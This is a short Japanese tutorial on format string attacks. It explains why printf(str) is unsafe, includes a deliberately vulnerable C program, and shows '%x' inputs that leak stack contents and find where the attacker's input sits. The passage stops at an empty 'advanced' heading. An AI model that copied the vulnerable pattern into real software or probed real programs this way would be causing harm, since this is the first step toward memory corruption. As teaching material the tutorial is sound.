Format String Attackとは
printf()
,syslog()
,err()
などの関数の脆弱性を突いた攻撃方法。
書式文字列攻撃。
printfの脆弱性
printfの書式
まずは基本に立ち返ってみよう。
printf("I am %s", name);
ここでI am
が通常の文字、s
が変換指定子、name
が変換指定子に対応する実引数である。変換指定は%
と変換指定子からなり、後に続く実引数を取り出す。
##printfの脆弱性の成立条件
変換指定子を使わずに下記のようにすると、攻撃者がprintf()の出力内容をコントロールすることができる。
printf(str)
##printfの脆弱性の原因
変換指定子に対応する引数の数をチェックする仕組みが存在ないので、引数が与えられているものとしてスタックを参照する。
実際にしてみる
#include<stdio.h>
int main(void) {
char str[128];
fgets(str, 128, stdin);
printf(str);
return 0;
}
fgetsで標準入力から文字列を受け取り、printfで出力するプログラムだが、printf("%s", str)
ではなく、printf(str)
となっている。
% gcc fsa.c
% ./a.out
123
123
% echo -e "abc %x"|./a.out
abc 120a8
% echo -e "aaaa %x %x %x %x %x %x %x %x %x"|./a.out
aaaa 120a8 0 8bc7e6c 130a8 0 ee6c2610 ee6c2600 61616161 25207825
% echo -e "bbbb %x %x %x %x %x %x %x %x %x"|./a.out
bbbb 120a8 0 d842e6c 130a8 0 ebd2d610 ebd2d600 62626262 25207825
% echo -e "cccc %x %x %x %x %x %x %x %x %x"|./a.out
cccc 120a8 0 1e9a9e6c 130a8 0 e041d620 e041d610 63636363 25207825
% echo -e "abcd %x %x %x %x %x %x %x %x %x"|./a.out
abcd 120a8 0 10dc8e6c 130a8 0 dfe4b610 dfe4b600 64636261 25207825
echo -e "abc %x"|./a.out
と入力すると、print("abc %x")
が実行される。
ここで%x
は16進数を表示させる変換指定子なので、スタックの一番上に格納されているものが表示される。
aaaa
のとき出力の9個目の61616161というところに格納されていることが分かる。
bbbb
のときは62626262,cccc
のときは63636363,abcd
のときは64636261(リトルエディアンの場合)となる。
#応用編